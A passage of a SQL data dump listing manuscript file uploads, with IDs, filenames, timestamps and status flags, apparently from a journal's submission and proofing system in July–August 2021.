09:59:36',1,1,0),(21713,8864,'8864-Manuscript-2021-07-27-8vkw-graphic-completed.pdf',NULL,'2021-07-27 11:50:41',1,3,0),(21716,8953,'8953-Manuscript-2021-07-27-86tj-graphic-completed.pdf',NULL,'2021-07-27 12:28:50',1,3,1),(21717,9013,'9013-Manuscript-2021-07-27-qxi4-graphic-completed.pdf',NULL,'2021-07-27 12:29:04',1,3,0),(21719,9775,'9775-0-Manuscript-2021-07-28.docx',NULL,'2021-07-27 18:38:38',1,1,0),(21722,8441,'8441-1851-Manuscript-proof-submission-2021-07-28.pdf',NULL,'2021-07-28 04:21:45',1,3,0),(21723,8441,'8441-1085-Manuscript-proof-submission-2021-07-28.docx',NULL,'2021-07-28 04:21:45',1,3,0),(21724,8441,'8441-1603-Manuscript-proof-submission-2021-07-28.docx',NULL,'2021-07-28 04:21:45',1,3,0),(21760,9105,'9105-Manuscript-2021-07-28-4khq-graphic-completed.pdf',NULL,'2021-07-28 06:10:01',1,3,1),(21765,9013,'9013-Manuscript-2021-07-28-y7b1.pdf',NULL,'2021-07-28 06:20:45',1,3,1),(21770,9160,'9160-Manuscript-2021-07-28-7j8x-graphic-completed.pdf',NULL,'2021-07-28 07:03:49',1,3,0),(21782,9233,'9233-Manuscript-2021-07-28-78kn-graphic-completed.pdf',NULL,'2021-07-28 08:30:07',1,3,1),(21786,9331,'9331-Manuscript-2021-07-28-nr64-graphic-completed.pdf',NULL,'2021-07-28 08:38:23',1,3,1),(21810,8634,'8634-1830-Manuscript-proof-submission-2021-07-28.docx',NULL,'2021-07-28 09:41:35',1,3,0),(21811,8634,'8634-1475-Manuscript-proof-submission-2021-07-28.pdf',NULL,'2021-07-28 09:41:35',1,3,0),(21812,8634,'8634-232-Manuscript-proof-submission-2021-07-28.docx',NULL,'2021-07-28 09:41:35',1,3,0),(21815,9800,'9800-0-Manuscript-2021-07-28.docx',NULL,'2021-07-28 10:09:46',1,1,0),(21816,9800,'9800-1-Manuscript-2021-07-28.docx',NULL,'2021-07-28 10:09:46',1,1,0),(21817,9800,'9800-2-Manuscript-2021-07-28.docx',NULL,'2021-07-28 10:09:46',1,1,0),(21818,9800,'9800-3-Manuscript-2021-07-28.png',NULL,'2021-07-28 10:09:46',1,1,0),(21819,9800,'9800-4-Manuscript-2021-07-28.docx',NULL,'2021-07-28 10:09:46',1,1,0),(21822,7559,'7559-735-Manuscript-proof-submission-2021-07-28.docx',NULL,'2021-07-28 10:27:38',1,3,0),(21824,8147,'8147-393-Manuscript-proof-submission-2021-07-28.docx',NULL,'2021-07-28 10:30:58',1,3,0),(21827,9801,'9801-0-Manuscript-2021-07-28.docx',NULL,'2021-07-28 11:10:47',1,1,0),(21840,9398,'9398-413-Manuscript-proof-submission-2021-07-28.rar',NULL,'2021-07-28 11:29:34',1,3,0),(21853,8914,'8914-755-Manuscript-2021-07-28.docx',NULL,'2021-07-28 14:40:48',1,1,0),(21867,8494,'8494-Manuscript-2021-07-29-7vb1-ijddr-21-8494.docx',NULL,'2021-07-29 05:09:05',1,3,0),(21868,8494,'8494-Manuscript-2021-07-29-o9pd-move-pdf-making.docx',NULL,'2021-07-29 05:12:38',1,3,0),(21870,8494,'8494-Manuscript-2021-07-29-mu3p-move-pdf-making.docx',NULL,'2021-07-29 05:19:43',1,3,0),(21871,8494,'8494-Manuscript-2021-07-29-ej4h-move-pdf-making.pdf',NULL,'2021-07-29 05:21:34',1,3,0),(21872,9811,'9811-0-Manuscript-2021-07-29.docx',NULL,'2021-07-29 05:32:56',1,1,0),(21873,8481,'8481-Manuscript-2021-07-29-asdu-ipfs-21-8481.docx',NULL,'2021-07-29 05:44:58',1,3,0),(21874,8364,'8364-Manuscript-2021-07-29-o47l-ipfs-21-8364.docx',NULL,'2021-07-29 05:49:12',1,3,0),(21875,8460,'8460-Manuscript-2021-07-29-sn4b-ipfs-21-8460.docx',NULL,'2021-07-29 05:49:56',1,3,0),(21876,7712,'7712-Manuscript-2021-07-29-xtje-ipfs-21-7712.rar',NULL,'2021-07-29 05:50:45',1,3,0),(21877,8118,'8118-Manuscript-2021-07-29-4p2j-ipfs-21-8118.rar',NULL,'2021-07-29 05:51:19',1,3,0),(21882,9158,'9158-1746-Manuscript-proof-submission-2021-07-29.docx',NULL,'2021-07-29 05:55:03',1,3,0),(21883,9158,'9158-716-Manuscript-proof-submission-2021-07-29.pdf',NULL,'2021-07-29 05:55:03',1,3,0),(21900,9813,'9813-0-Manuscript-2021-07-29.pdf',NULL,'2021-07-29 07:57:11',1,1,0),(21901,9116,'9116-Manuscript-2021-07-29-hdr5.pdf',NULL,'2021-07-29 08:06:13',1,3,0),(21902,9117,'9117-Manuscript-2021-07-29-fyeq.pdf',NULL,'2021-07-29 08:06:40',1,3,0),(21903,9137,'9137-Manuscript-2021-07-29-h3to.pdf',NULL,'2021-07-29 08:07:20',1,3,0),(21913,8135,'8135-1069-Manuscript-proof-submission-2021-07-29.rar',NULL,'2021-07-29 08:58:29',1,3,0),(21914,9110,'9110-1900-Manuscript-proof-submission-2021-07-29.rar',NULL,'2021-07-29 09:01:46',1,3,0),(21918,9815,'9815-0-Manuscript-2021-07-29.docx',NULL,'2021-07-29 09:33:30',1,1,0),(21936,9819,'9819-0-Manuscript-2021-07-29.docx',NULL,'2021-07-29 14:38:30',1,1,0),(21940,8885,'8885-1020-Manuscript-2021-07-29.docx',NULL,'2021-07-29 18:06:54',1,1,0),(21941,8885,'8885-319-Manuscript-2021-07-29.docx',NULL,'2021-07-29 18:06:54',1,1,0),(21957,9398,'9398-Manuscript-2021-07-30-jpem-iphsj-21-9398.rar',NULL,'2021-07-30 05:40:30',1,3,1),(21994,7696,'7696-361-Manuscript-proof-submission-2021-07-30.rar',NULL,'2021-07-30 08:16:21',1,3,0),(22003,8073,'8073-1474-Manuscript-proof-submission-2021-07-30.rar',NULL,'2021-07-30 09:06:51',1,3,0),(22004,8073,'8073-1730-Manuscript-proof-submission-2021-07-30.rar',NULL,'2021-07-30 09:06:55',1,3,1),(22016,8076,'8076-521-Manuscript-proof-submission-2021-07-30.rar',NULL,'2021-07-30 09:28:14',1,3,0),(22017,8076,'8076-227-Manuscript-proof-submission-2021-07-30.rar',NULL,'2021-07-30 09:28:16',1,3,0),(22024,9856,'9856-0-Manuscript-2021-07-30.docx',NULL,'2021-07-30 09:59:26',1,1,0),(22050,9174,'9174-Manuscript-2021-07-30-6qtc-graphic-completed.pdf',NULL,'2021-07-30 12:46:05',1,3,0),(22051,9168,'9168-Manuscript-2021-07-30-umtc-graphic-completed.pdf',NULL,'2021-07-30 12:46:36',1,3,0),(22052,8696,'8696-Manuscript-2021-07-30-ex29-graphic-completed.pdf',NULL,'2021-07-30 12:47:24',1,3,0),(22053,8364,'8364-Manuscript-2021-07-30-z3jx-graphic-completed.pdf',NULL,'2021-07-30 12:48:49',1,3,0),(22054,8460,'8460-Manuscript-2021-07-30-b3qc-graphic-completed.pdf',NULL,'2021-07-30 12:49:55',1,3,0),(22055,8625,'8625-Manuscript-2021-07-30-lnu3-graphic-completed.pdf',NULL,'2021-07-30 12:50:35',1,3,0),(22056,8481,'8481-Manuscript-2021-07-30-pu7b-graphic-completed.pdf',NULL,'2021-07-30 12:51:26',1,3,0),(22057,8738,'8738-Manuscript-2021-07-30-ihua-graphic-completed.pdf',NULL,'2021-07-30 12:51:40',1,3,0),(22058,8753,'8753-Manuscript-2021-07-30-fjr9-graphic-completed.pdf',NULL,'2021-07-30 12:52:21',1,3,0),(22073,9641,'9641-374-Manuscript-2021-07-31.docx',NULL,'2021-07-31 04:32:34',1,2,0),(22074,9641,'9641-476-Manuscript-2021-07-31.',NULL,'2021-07-31 04:32:34',1,2,0),(22075,9641,'9641-1149-Manuscript-2021-07-31.docx',NULL,'2021-07-31 04:40:40',1,2,0),(22077,9866,'9866-0-Manuscript-2021-07-31.docx',NULL,'2021-07-31 05:16:25',1,1,0),(22078,7559,'7559-Manuscript-2021-07-31-jq2o-ipjnn-21-7559.docx',NULL,'2021-07-31 06:07:54',1,3,1),(22080,7696,'7696-Manuscript-2021-07-31-vy3b-ipjnn-21-7696.rar',NULL,'2021-07-31 06:25:45',1,3,1),(22081,9398,'9398-Manuscript-2021-07-31-ge6u-graphic-completed.pdf',NULL,'2021-07-31 06:32:06',1,3,1),(22089,8135,'8135-Manuscript-2021-07-31-m0ds-ipjnn-21-8135.rar',NULL,'2021-07-31 06:46:30',1,3,1),(22092,8147,'8147-Manuscript-2021-07-31-om3j-ipjnn-21-8147.docx',NULL,'2021-07-31 07:01:48',1,3,1),(22098,9210,'9210-36-Manuscript-2021-08-01.docx',NULL,'2021-08-01 11:51:21',1,1,0),(22099,9210,'9210-273-Manuscript-2021-08-01.docx',NULL,'2021-08-01 11:51:21',1,1,0),(22100,9210,'9210-279-Manuscript-2021-08-01.docx',NULL,'2021-08-01 11:51:21',1,1,0),(22105,9303,'9303-Manuscript-2021-08-02-wofa-ipaom-21-9303.rar',NULL,'2021-08-02 04:46:34',1,3,1),(22205,9903,'9903-0-Manuscript-2021-08-03.docx',NULL,'2021-08-03 07:15:43',1,1,0),(22206,9903,'9903-1-Manuscript-2021-08-03.jpg',NULL,'2021-08-03 07:15:43',1,1,0),(22207,9903,'9903-2-Manuscript-2021-08-03.jpg',NULL,'2021-08-03 07:15:43',1,1,0),(22208,9903,'9903-3-Manuscript-2021-08-03.jpg',NULL,'2021-08-03 07:15:43',1,1,0),(22209,9903,'9903-4-Manuscript-2021-08-03.jpg',NULL,'2021-08-03 07:15:43',1,1,0),(22210,9903,'9903-5-Manuscript-2021-08-03.docx',NULL,'2021-08-03 07:15:43',1,1,0),(22218,9743,'9743-817-Manuscript-proof-submission-2021-08-03.docx',NULL,'2021-08-03 11:43:57',1,3,0),(22219,9744,'9744-161-Manuscript-proof-submission-2021-08-03.docx',NULL,'2021-08-03 11:44:15',1,3,0),(22223,9451,'9451-477-Manuscript-proof-submission-2021-08-03.docx',NULL,'2021-08-03 12:10:02',1,3,0),(22224,8147,'8147-Manuscript-2021-08-03-67xj-graphic-completed.pdf',NULL,'2021-08-03 12:18:16',1,3,0),(22225,7559,'7559-Manuscript-2021-08-03-po07-graphic-completed.pdf',NULL,'2021-08-03 12:18:55',1,3,0),(22226,7696,'7696-Manuscript-2021-08-03-wq1c-graphic-completed.pdf',NULL,'2021-08-03 12:19:29',1,3,0),(22227,9745,'9745-1180-Manuscript-proof-submission-2021-08-03.docx',NULL,'2021-08-03 12:37:03',1,3,0),(22228,9745,'9745-297-Manuscript-proof-submission-2021-08-03.docx',NULL,'2021-08-03 12:37:05',1,3,0),(22229,9745,'9745-1907-Manuscript-proof-submission-2021-08-03.docx',NULL,'2021-08-03 12:37:06',1,3,0),(22230,9856,'9856-161-Manuscript-proof-submission-2021-08-03.docx',NULL,'2021-08-03 12:37:25',1,3,0),(22231,9866,'9866-1711-Manuscript-proof-submission-2021-08-03.docx',NULL,'2021-08-03 12:37:48',1,3,0),(22236,9910,'9910-0-Manuscript-2021-08-04.docx',NULL,'2021-08-04 01:44:53',1,1,0),(22237,9911,'9911-0-Manuscript-2021-08-04.docx',NULL,'2021-08-04 04:47:30',1,1,0),(22248,9538,'9538-1706-Manuscript-proof-submission-2021-08-04.docx',NULL,'2021-08-04 06:00:49',1,3,0),(22249,9538,'9538-750-Manuscript-proof-submission-2021-08-04.PNG',NULL,'2021-08-04 06:00:49',1,3,0),(22250,9538,'9538-1208-Manuscript-proof-submission-2021-08-04.PNG',NULL,'2021-08-04 06:00:49',1,3,0),(22251,9538,'9538-1769-Manuscript-proof-submission-2021-08-04.PNG',NULL,'2021-08-04 06:00:49',1,3,0),(22268,9303,'9303-Manuscript-2021-08-04-e8ag-graphic-completed.pdf',NULL,'2021-08-04 07:00:18',1,3,0),(22274,9110,'9110-Manuscript-2021-08-04-0acz-ipjnn-21-9110.rar',NULL,'2021-08-04 08:13:14',1,3,1),(22277,8135,'8135-Manuscript-2021-08-04-cxlz-graphic-completed.pdf',NULL,'2021-08-04 08:51:09',1,3,0),(22278,9110,'9110-Manuscript-2021-08-04-swla-graphic-completed.pdf',NULL,'2021-08-04 08:51:42',1,3,0),(22309,9815,'9815-1101-Manuscript-proof-submission-2021-08-04.docx',NULL,'2021-08-04 11:54:48',1,3,0),(22310,9815,'9815-327-Manuscript-proof-submission-2021-08-04.pdf',NULL,'2021-08-04 11:54:48',1,3,0),(22311,9815,'9815-1741-Manuscript-proof-submission-2021-08-04.docx',NULL,'2021-08-04 11:54:48',1,3,0),(22317,9934,'9934-0-Manuscript-2021-08-04.pdf',NULL,'2021-08-04 13:19:58',1,1,0),(22318,8076,'8076-Manuscript-2021-08-04-12kn-iphsj-21-8076.rar',NULL,'2021-08-04 13:20:41',1,3,1),(22329,8696,'8696-Manuscript-2021-08-05-dptm.pdf',NULL,'2021-08-05 04:32:33',1,3,0),(22330,9168,'9168-Manuscript-2021-08-05-0e7z.pdf',NULL,'2021-08-05 04:33:02',1,3,0),(22331,9174,'9174-Manuscript-2021-08-05-50ti.pdf',NULL,'2021-08-05 04:33:31',1,3,0),(22363,8147,'8147-Manuscript-2021-08-05-huis-ap-ame-revised.pdf',NULL,'2021-08-05 06:59:19',1,3,0),(22364,7559,'7559-Manuscript-2021-08-05-gd8q-ap-ame-revised.pdf',NULL,'2021-08-05 06:59:42',1,3,0),(22366,7696,'7696-Manuscript-2021-08-05-6b53-ap-ame-revised.pdf',NULL,'2021-08-05 07:00:01',1,3,0),(22367,8135,'8135-Manuscript-2021-08-05-isrw-ap-ame-revised.pdf',NULL,'2021-08-05 07:00:23',1,3,0),(22368,9110,'9110-Manuscript-2021-08-05-eamt-ap-ame-revised.pdf',NULL,'2021-08-05 07:00:40',1,3,0),(22371,7559,'7559-Manuscript-2021-08-05-nq1c.pdf',NULL,'2021-08-05 07:02:26',1,3,0),(22372,7696,'7696-Manuscript-2021-08-05-b0hz.pdf',NULL,'2021-08-05 07:02:40',1,3,0),(22374,8135,'8135-Manuscript-2021-08-05-dwsv.pdf',NULL,'2021-08-05 07:02:55',1,3,0),(22375,8147,'8147-Manuscript-2021-08-05-dtqo.pdf',NULL,'2021-08-05 07:03:10',1,3,0),(22376,9110,'9110-Manuscript-2021-08-05-nw1e.pdf',NULL,'2021-08-05 07:03:41',1,3,0),(22377,8481,'8481-Manuscript-2021-08-05-4dvg-graphic-completed.pdf',NULL,'2021-08-05 07:06:25',1,3,0),(22420,9944,'9944-0-Manuscript-2021-08-05.docx',NULL,'2021-08-05 09:12:08',1,1,0),(22432,9452,'9452-1857-Manuscript-proof-submission-2021-08-05.docx',NULL,'2021-08-05 10:29:22',1,3,0),(22438,9381,'9381-1149-Manuscript-proof-submission-2021-08-05.zip',NULL,'2021-08-05 11:18:39',1,3,0),(22439,9210,'9210-338-Manuscript-proof-submission-2021-08-05.zip',NULL,'2021-08-05 11:20:13',1,3,0),(22462,8837,'8837-1853-Manuscript-2021-08-06.docx',NULL,'2021-08-05 21:32:36',1,2,0),(22463,8837,'8837-1210-Manuscript-2021-08-06.',NULL,'2021-08-05 21:32:36',1,2,0),(22464,8837,'8837-1936-Manuscript-2021-08-06.docx',NULL,'2021-08-05 21:32:57',1,2,0),(22466,9954,'9954-0-Manuscript-2021-08-06.docx',NULL,'2021-08-06 04:02:56',1,1,0),(22469,9955,'9955-0-Manuscript-2021-08-06.docx',NULL,'2021-08-06 04:42:54',1,1,0),(22489,9959,'9959-0-Manuscript-2021-08-06.docx',NULL,'2021-08-06 06:07:20',1,1,0),(22490,9959,'9959-1-Manuscript-2021-08-06.docx',NULL,'2021-08-06 06:07:20',1,1,0),(22491,9960,'9960-0-Manuscript-2021-08-06.docx',NULL,'2021-08-06 06:19:27',1,1,0),(22493,8481,'8481-Manuscript-2021-08-06-mays.pdf',NULL,'2021-08-06 06:29:53',1,3,0),(22494,9961,'9961-0-Manuscript-2021-08-06.docx',NULL,'2021-08-06 06:37:33',1,1,0),(22506,9641,'9641-344-Manuscript-proof-submission-2021-08-06.rar',NULL,'2021-08-06 09:00:34',1,3,1),(22510,8571,'8571-99-Manuscript-proof-submission-2021-08-06.docx',NULL,'2021-08-06 09:07:39',1,3,0),(22514,8073,'8073-Manuscript-2021-08-06-h31z-graphic-completed.pdf',NULL,'2021-08-06 09:34:29',1,3,0),(22515,8076,'8076-Manuscript-2021-08-06-onvh-graphic-completed.pdf',NULL,'2021-08-06 09:34:46',1,3,0),(22525,8553,'8553-Manuscript-2021-08-06-wvbj-graphic-completed.pdf',NULL,'2021-08-06 11:26:23',1,3,0),(22532,9394,'9394-1784-Manuscript-proof-submission-2021-08-06.rar',NULL,'2021-08-06 11:58:18',1,3,0),(22543,9973,'9973-0-Manuscript-2021-08-07.docx',NULL,'2021-08-06 19:34:18',1,1,0),(22549,9976,'9976-0-Manuscript-2021-08-07.docx',NULL,'2021-08-07 04:26:42',1,1,0),(22559,9611,'9611-1848-Manuscript-proof-submission-2021-08-07.rar',NULL,'2021-08-07 05:24:57',1,3,0),(22560,9611,'9611-808-Manuscript-proof-submission-2021-08-07.rar',NULL,'2021-08-07 05:24:59',1,3,0),(22561,9611,'9611-1504-Manuscript-proof-submission-2021-08-07.rar',NULL,'2021-08-07 05:25:02',1,3,0),(22565,9210,'9210-Manuscript-2021-08-07-wkiv-ipaom-21-9210.rar',NULL,'2021-08-07 06:02:12',1,3,1),(22566,9381,'9381-Manuscript-2021-08-07-mty7-ipaom-21-9381.rar',NULL,'2021-08-07 06:10:15',1,3,1),(22632,9980,'9980-0-Manuscript-2021-08-07.pdf',NULL,'2021-08-07 10:27:52',1,1,0),(22647,9557,'9557-9-Manuscript-proof-submission-2021-08-09.zip',NULL,'2021-08-09 04:59:10',1,3,0),(22648,9558,'9558-879-Manuscript-proof-submission-2021-08-09.zip',NULL,'2021-08-09 05:00:02',1,3,0),(22657,9340,'9340-1653-Manuscript-2021-08-09.docx',NULL,'2021-08-09 05:31:55',1,2,0),(22658,9340,'9340-284-Manuscript-2021-08-09.docx',NULL,'2021-08-09 05:31:55',1,2,0),(22677,9543,'9543-313-Manuscript-proof-submission-2021-08-09.rar',NULL,'2021-08-09 05:58:09',1,3,0),(22678,9543,'9543-1943-Manuscript-proof-submission-2021-08-09.rar',NULL,'2021-08-09 05:58:15',1,3,0),(22679,9543,'9543-750-Manuscript-proof-submission-2021-08-09.rar',NULL,'2021-08-09 05:58:22',1,3,0),(22680,9543,'9543-870-Manuscript-proof-submission-2021-08-09.rar',NULL,'2021-08-09 05:58:28',1,3,0),(22687,9991,'9991-0-Manuscript-2021-08-09.docx',NULL,'2021-08-09 06:26:13',1,1,0),(22707,9743,'9743-Manuscript-2021-08-09-29vf-IPJUS-21-9743.docx',NULL,'2021-08-09 06:48:56',1,3,0),(22708,9744,'9744-Manuscript-2021-08-09-o24g-IPJUS-21-9744.docx',NULL,'2021-08-09 06:49:09',1,3,0),(22709,9745,'9745-Manuscript-2021-08-09-pwyg-IPJUS-21-9745.docx',NULL,'2021-08-09 06:49:22',1,3,0),(22710,9856,'9856-Manuscript-2021-08-09-kb5d-IPJUS-21-9856.docx',NULL,'2021-08-09 06:49:33',1,3,0),(22712,9866,'9866-Manuscript-2021-08-09-b2px-IPJUS-21-9866.docx',NULL,'2021-08-09 06:49:43',1,3,0),(22738,9627,'9627-437-Manuscript-proof-submission-2021-08-09.rar',NULL,'2021-08-09 09:20:35',1,3,0),(22739,8911,'8911-528-Manuscript-proof-submission-2021-08-09.docx',NULL,'2021-08-09 09:29:57',1,3,0),(22740,8911,'8911-497-Manuscript-proof-submission-2021-08-09.docx',NULL,'2021-08-09 09:29:57',1,3,0),(22741,8911,'8911-991-Manuscript-proof-submission-2021-08-09.docx',NULL,'2021-08-09 09:29:57',1,3,0),(22742,8911,'8911-1679-Manuscript-proof-submission-2021-08-09.docx',NULL,'2021-08-09 09:29:57',1,3,0),(22743,8911,'8911-723-Manuscript-proof-submission-2021-08-09.docx',NULL,'2021-08-09 09:29:59',1,3,0),(22744,8911,'8911-2010-Manuscript-proof-submission-2021-08-09.docx',NULL,'2021-08-09 09:29:59',1,3,0),(22745,8911,'8911-68-Manuscript-proof-submission-2021-08-09.docx',NULL,'2021-08-09 09:29:59',1,3,0),(22746,8911,'8911-1312-Manuscript-proof-submission-2021-08-09.docx',NULL,'2021-08-09 09:29:59',1,3,0),(22767,9641,'9641-Manuscript-2021-08-09-ytma-graphic-completed.pdf',NULL,'2021-08-09 12:10:17',1,3,1),(22777,9998,'9998-0-Manuscript-2021-08-09.docx',NULL,'2021-08-09 16:50:58',1,1,0),(22778,9999,'9999-0-Manuscript-2021-08-10.docx',NULL,'2021-08-09 20:45:03',1,1,0),(22790,10001,'10001-0-Manuscript-2021-08-10.doc',NULL,'2021-08-10 05:33:07',1,1,1),(22814,9210,'9210-Manuscript-2021-08-10-nkrp-graphic-completed.pdf',NULL,'2021-08-10 07:10:31',1,3,0),(22816,9381,'9381-Manuscript-2021-08-10-p3cd-graphic-completed.pdf',NULL,'2021-08-10 08:05:21',1,3,0),(22827,9394,'9394-Manuscript-2021-08-10-bgor-iphsj-21-9394.docx',NULL,'2021-08-10 09:13:07',1,3,0),(22829,9543,'9543-Manuscript-2021-08-10-d7br-iphsj-21-9543.docx',NULL,'2021-08-10 09:32:59',1,3,0),(22830,9743,'9743-Manuscript-2021-08-10-2rh8-graphic-completed.pdf',NULL,'2021-08-10 09:38:32',1,3,0),(22831,9611,'9611-Manuscript-2021-08-10-gvem-iphsj-21-9611.rar',NULL,'2021-08-10 09:39:01',1,3,1),(22833,9744,'9744-Manuscript-2021-08-10-0y4r-graphic-completed.pdf',NULL,'2021-08-10 09:44:08',1,3,0),(22834,9627,'9627-Manuscript-2021-08-10-o1wh-iphsj-21-9627.rar',NULL,'2021-08-10 09:47:46',1,3,1),(22835,9745,'9745-Manuscript-2021-08-10-0a2c-graphic-completed.pdf',NULL,'2021-08-10 09:51:49',1,3,0),(22837,9856,'9856-Manuscript-2021-08-10-z8fk-graphic-completed.pdf',NULL,'2021-08-10 09:57:44',1,3,0),(22839,9866,'9866-Manuscript-2021-08-10-tj38-graphic-completed.pdf',NULL,'2021-08-10 10:02:07',1,3,0),(22848,9543,'9543-Manuscript-2021-08-10-q6gp-ap-ame-revised.docx',NULL,'2021-08-10 10:27:23',1,3,0),(22853,9394,'9394-Manuscript-2021-08-10-g2m5-ap-ame-revised.docx',NULL,'2021-08-10 11:21:13',1,3,0),(22873,10012,'10012-0-Manuscript-2021-08-10.pdf',NULL,'2021-08-10 12:31:40',1,1,0),(22875,9394,'9394-Manuscript-2021-08-10-u70b-iphsj-21-9394.rar',NULL,'2021-08-10 13:27:47',1,3,1),(22876,9543,'9543-Manuscript-2021-08-10-zg7v-iphsj-21-9543.rar',NULL,'2021-08-10 13:30:24',1,3,1),(22903,9394,'9394-Manuscript-2021-08-11-qz25-graphic-completed.pdf',NULL,'2021-08-11 05:55:02',1,3,0),(22904,9611,'9611-Manuscript-2021-08-11-w4fg-graphic-completed.pdf',NULL,'2021-08-11 05:55:18',1,3,0),(22922,9543,'9543-Manuscript-2021-08-11-yrjp-graphic-completed.pdf',NULL,'2021-08-11 06:46:37',1,3,0),(22930,9627,'9627-Manuscript-2021-08-11-w9zi-graphic-completed.pdf',NULL,'2021-08-11 07:06:42',1,3,0),(22978,10017,'10017-0-Manuscript-2021-08-11.docx',NULL,'2021-08-11 12:05:55',1,1,0),(22992,9650,'9650-767-Manuscript-proof-submission-2021-08-12.docx',NULL,'2021-08-12 04:18:04',1,3,0),(22993,9650,'9650-958-Manuscript-proof-submission-2021-08-12.docx',NULL,'2021-08-12 04:18:04',1,3,0),(22994,9743,'9743-Manuscript-2021-08-12-kpzr.pdf',NULL,'2021-08-12 04:58:55',1,3,0),(22995,9744,'9744-Manuscript-2021-08-12-mp4w.pdf',NULL,'2021-08-12 04:59:21',1,3,0),(22996,9745,'9745-Manuscript-2021-08-12-xrp0.pdf',NULL,'2021-08-12 05:00:15',1,3,0),(22997,9856,'9856-Manuscript-2021-08-12-yt8v.pdf',NULL,'2021-08-12 05:00:47',1,3,0),(22998,9866,'9866-Manuscript-2021-08-12-zcet.pdf',NULL,'2021-08-12 05:04:38',1,3,0),(23004,9743,'9743-Manuscript-2021-08-12-wbk4.pdf',NULL,'2021-08-12 05:47:19',1,3,0),(23005,9744,'9744-Manuscript-2021-08-12-imye.pdf',NULL,'2021-08-12 05:47:53',1,3,0),(23020,10023,'10023-0-Manuscript-2021-08-12.docx',NULL,'2021-08-12 06:55:18',1,1,0),(23029,10028,'10028-0-Manuscript-2021-08-12.docx',NULL,'2021-08-12 08:18:00',1,1,0),(23047,10040,'10040-0-Manuscript-2021-08-12.docx',NULL,'2021-08-12 10:11:13',1,1,0),(23050,8441,'8441-Manuscript-2021-08-12-e0bv-iphspr-21-8441.docx',NULL,'2021-08-12 11:53:04',1,3,0),(23054,9743,'9743-Manuscript-2021-08-12-2b1v-ap-ame-revised.pdf',NULL,'2021-08-12 12:02:54',1,3,0),(23056,9744,'9744-Manuscript-2021-08-12-3lbm-ap-ame-revised.pdf',NULL,'2021-08-12 12:03:34',1,3,0),(23071,9713,'9713-1789-Manuscript-proof-submission-2021-08-13.docx',NULL,'2021-08-13 04:08:34',1,3,0),(23072,9713,'9713-1419-Manuscript-proof-submission-2021-08-13.docx',NULL,'2021-08-13 04:08:34',1,3,0),(23073,9713,'9713-1574-Manuscript-proof-submission-2021-08-13.docx',NULL,'2021-08-13 04:08:34',1,3,0),(23086,9408,'9408-754-Manuscript-proof-submission-2021-08-13.docx',NULL,'2021-08-13 04:55:12',1,3,0),(23087,9580,'9580-1521-Manuscript-proof-submission-2021-08-13.docx',NULL,'2021-08-13 04:56:21',1,3,0),(23088,9665,'9665-236-Manuscript-proof-submission-2021-08-13.pdf',NULL,'2021-08-13 04:57:36',1,3,0),(23089,9664,'9664-1858-Manuscript-proof-submission-2021-08-13.pdf',NULL,'2021-08-13 04:58:15',1,3,0),(23110,8999,'8999-Manuscript-2021-08-13-aojr.pdf',NULL,'2021-08-13 08:50:39',1,3,0),(23111,9022,'9022-Manuscript-2021-08-13-rtel.pdf',NULL,'2021-08-13 08:51:06',1,3,0),(23145,10055,'10055-0-Manuscript-2021-08-14.docx',NULL,'2021-08-14 14:05:01',1,1,0),(23150,10059,'10059-0-Manuscript-2021-08-16.docx',NULL,'2021-08-15 20:15:16',1,1,0),(23151,10059,'10059-1-Manuscript-2021-08-16.docx',NULL,'2021-08-15 20:15:17',1,1,0),(23152,10059,'10059-2-Manuscript-2021-08-16.tif',NULL,'2021-08-15 20:15:17',1,1,0),(23153,10059,'10059-3-Manuscript-2021-08-16.docx',NULL,'2021-08-15 20:15:17',1,1,0),(23154,10060,'10060-0-Manuscript-2021-08-16.doc',NULL,'2021-08-16 02:27:03',1,1,0),(23155,10060,'10060-1-Manuscript-2021-08-16.docx',NULL,'2021-08-16 02:27:03',1,1,1),(23156,10060,'10060-2-Manuscript-2021-08-16.docx',NULL,'2021-08-16 02:27:03',1,1,0),(23216,9663,'9663-920-Manuscript-proof-submission-2021-08-17.docx',NULL,'2021-08-17 03:51:16',1,3,0),(23220,9663,'9663-Manuscript-2021-08-17-m4q7-move-pdf-making.docx',NULL,'2021-08-17 04:33:34',1,3,0),(23221,9663,'9663-Manuscript-2021-08-17-wvba-move-pdf-making.docx',NULL,'2021-08-17 04:34:08',1,3,0),(23227,9663,'9663-Manuscript-2021-08-17-stew-move-pdf-making.pdf',NULL,'2021-08-17 05:10:41',1,3,0),(23247,9811,'9811-981-Manuscript-proof-submission-2021-08-17.zip',NULL,'2021-08-17 08:33:31',1,3,0),(23285,10100,'10100-0-Manuscript-2021-08-17.docx',NULL,'2021-08-17 11:16:59',1,1,0),(23287,10101,'10101-0-Manuscript-2021-08-17.docx',NULL,'2021-08-17 11:21:31',1,1,0),(23291,10102,'10102-0-Manuscript-2021-08-17.pdf',NULL,'2021-08-17 11:32:05',1,1,0),(23292,10102,'10102-1-Manuscript-2021-08-17.docx',NULL,'2021-08-17 11:32:05',1,1,0),(23336,10116,'10116-0-Manuscript-2021-08-19.docx',NULL,'2021-08-18 20:55:07',1,1,0),(23342,9235,'9235-1863-Manuscript-2021-08-19.docx',NULL,'2021-08-19 04:10:36',1,1,0),(23344,10119,'10119-0-Manuscript-2021-08-19.docx',NULL,'2021-08-19 04:40:21',1,1,0),(23347,8441,'8441-Manuscript-2021-08-19-5fcu-move-pdf-making.docx',NULL,'2021-08-19 04:55:38',1,3,0),(23354,9555,'9555-293-Manuscript-proof-submission-2021-08-19.docx',NULL,'2021-08-19 07:42:59',1,3,0),(23356,8571,'8571-1152-Manuscript-proof-submission-2021-08-19.zip',NULL,'2021-08-19 07:55:10',1,3,0),(23357,9555,'9555-1627-Manuscript-proof-submission-2021-08-19.zip',NULL,'2021-08-19 07:55:30',1,3,0),(23358,9555,'9555-Manuscript-2021-08-19-z10f-move-pdf-making.docx',NULL,'2021-08-19 08:04:11',1,3,0),(23359,8571,'8571-Manuscript-2021-08-19-r4wf-move-pdf-making.docx',NULL,'2021-08-19 08:05:50',1,3,0),(23362,9811,'9811-Manuscript-2021-08-19-hgf7-ipaom-21-9811.rar',NULL,'2021-08-19 08:28:57',1,3,1),(23380,8571,'8571-Manuscript-2021-08-19-b16u-rsuite-completed.pdf',NULL,'2021-08-19 10:11:21',1,3,0),(23382,9910,'9910-1578-Manuscript-proof-submission-2021-08-19.rar',NULL,'2021-08-19 10:19:55',1,3,0),(23383,9555,'9555-Manuscript-2021-08-19-92tf-rsuite-completed.pdf',NULL,'2021-08-19 10:21:09',1,3,1),(23391,9811,'9811-Manuscript-2021-08-19-my1v-graphic-completed.pdf',NULL,'2021-08-19 